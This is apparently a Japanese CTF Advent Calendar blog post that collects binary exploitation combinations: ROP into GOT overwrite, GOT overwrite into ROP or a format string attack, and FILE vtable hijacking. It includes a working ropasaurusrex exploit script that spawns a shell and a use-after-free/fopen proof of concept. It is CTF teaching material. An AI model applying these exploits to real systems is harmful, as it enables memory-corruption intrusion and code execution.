Exploit系複合テクニックのメモ

この記事は「CTF Advent Calendar 2016」17日目の記事です。

ちょいちょい見かけてはいるのだが、実戦でよく忘れてしまうので応用の効きそうなものをまとめておく。

ROPからのGOT overwrite

単純なROP問題の場合、GOTに置かれた関数アドレスを読み出した後offsetからsystem関数のアドレスを計算し、それを用いてsystem("/bin/sh")を呼ぶという流れになる。 最後の部分はStack pivotでやってもよいのだが、Full-RELROでない場合、すなわちGOTの書き換えができる場合はGOT overwriteしてPLT経由で呼んだほうが楽である。

x86でROPするだけで200点取ることができた、古きよき時代のropasaurusrex (PlaidCTF 2013)でやると次のようになる。

from minipwn import *

s = connect_process(['./ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d'])

"""
0804830c <write@plt>:
 804830c:       ff 25 14 96 04 08       jmp    DWORD PTR ds:0x8049614
 8048312:       68 08 00 00 00          push   0x8
 8048317:       e9 d0 ff ff ff          jmp    80482ec <__gmon_start__@plt-0x10>

0804832c <read@plt>:
 804832c:       ff 25 1c 96 04 08       jmp    DWORD PTR ds:0x804961c
 8048332:       68 18 00 00 00          push   0x18
 8048337:       e9 b0 ff ff ff          jmp    80482ec <__gmon_start__@plt-0x10>

 80484b6:       5e                      pop    esi
 80484b7:       5f                      pop    edi
 80484b8:       5d                      pop    ebp
 80484b9:       c3                      ret
"""

plt_write = 0x804830c
plt_read = 0x804832c
got_write = 0x8049614
addr_pop3 = 0x80484b6

buf = 'A' * 140
buf += p32(plt_write) + p32(addr_pop3) + p32(1) + p32(got_write) + p32(4)
buf += p32(plt_read) + p32(addr_pop3) + p32(0) + p32(got_write) + p32(12)
buf += p32(plt_write) + 'AAAA' + p32(got_write+4)

sendline(s, buf)

"""
$ ldd ./ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d
        linux-gate.so.1 =>  (0xf77b1000)
        libc.so.6 => /lib32/libc.so.6 (0xf75ef000)
        /lib/ld-linux.so.2 (0x56637000)

$ nm -D /lib32/libc.so.6 | grep -e write -e system
0003a920 W system
000d4490 W write
"""

data = s.recv(8192)
addr_write = u32(data)
print "[+] addr_write = %x" % addr_write
addr_system = addr_write - 0xd4490 + 0x3a920

s.sendall(p32(addr_system) + '/bin/sh\x00')

interact(s)
$ python solve.py
[+] addr_write = f7679490
id
uid=1000(user) gid=1000(user) groups=1000(user)

Stack pivotしなくてよいので簡単になった。

x64の場合は引数をrdiレジスタに入れる必要があるが、libc_csu_init gadgetや適当なPLTをcallしている箇所を使うことでなんとでもなる。

GOT overwriteからのROP

逆に、GOT overwriteや関数ポインタ書き換えからpop-pop-ret gadgetなどに飛ばすことで、スタック上のバッファに置いたROP chainに繋げるという手法も知られている。

スタック上のバッファに読み込む箇所(read(0, local_buf, 1000)など)に飛ばしてリターンアドレスを書き換え、無理やりROPに持っていくという手法もある。 多くの場合stack canaryのチェックがあるが、前もって__stack_chk_failのGOTをret gadgetなどに書き換えておけば通過できる。

GOT overwriteからのFormat String Attack

任意の入力を与えることができるatoi(buf)のような関数のGOTをprintf系関数に書き換えることで、無理やりFormat String Attackに持っていくことができる。 これにより、スタック上に置かれたlibcやスタック、ヒープのアドレスをリークして、ASLRを回避できる。

stdin/stdout/stderr書き換えからのEIP奪取

ソースコード中に次のような処理が存在する場合、実行ファイルのbss上にstdin/stdout/stderrへのポインタが置かれる。

$ cat test.c
#include <stdio.h>

int main()
{
    char buf[100];
    fprintf(stderr, "stdin=%p, stdout=%p, stderr=%p\n", &stdin, &stdout, &stderr);
    fgets(buf, 100, stdin);
    fputs(buf, stdout);
    return 0;
}

$ gcc test.c -o test

$ ./test
stdin=0x601070, stdout=0x601060, stderr=0x601080
AAAA
AAAA

これらのポインタは_IO_FILE_plus構造体を指しており、この構造体は関数テーブルへのポインタ(vtable)を持っている。 したがって、bss上のポインタを適当なバッファを指すように書き換え、fgets等が呼ばれる際に参照される関数テーブル内のポインタをコントロールすれば、任意のアドレスに飛ばすことができる。

なお、fopen関数が返すポインタも実体は_IO_FILE_plus構造体なので、use-after-freeと組み合わせることで同様にEIP奪取ができる。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void wontcall()
{
    system("false");
}

int main()
{
    char *p1 = malloc(0x220);
    printf("p1 = %p\n", p1);
    free(p1);

    FILE *fp = fopen("/etc/passwd", "r");
    printf("fp = %p\n", fp);

    void *got_system = 0x601028;
    memset(p1, 'A', 0xd8);
    strcpy(p1, "\x01\x80;/bin/sh");         /* _IO_FILE_plus.file._flags & _IO_USER_LOCK != 0 */
    *(void **)(p1+0xd8) = got_system-0x10;  /* _IO_FILE_plus.vtable->__finish == got_system */

    fclose(fp);
    return 0;
}
$ gcc uaf-fopen.c -o uaf-fopen
uaf-fopen.c: In function ‘main’:
uaf-fopen.c:19:24: warning: initialization makes pointer from integer without a cast [-Wint-conversion]
     void *got_system = 0x601028;
                        ^

$ ldd ./uaf-fopen
        linux-vdso.so.1 =>  (0x00007ffeff303000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f792b872000)
        /lib64/ld-linux-x86-64.so.2 (0x000055f30352e000)

$ /lib/x86_64-linux-gnu/libc.so.6
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu3) stable release version 2.23, by Roland McGrath et al.
(snip)

$ ./uaf-fopen
p1 = 0x1234010
fp = 0x1234010
sh: 1: �: not found
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$
Segmentation fault (core dumped)

なお、glibc 2.24以降ではチェックが加えられているらしい。

関連リンク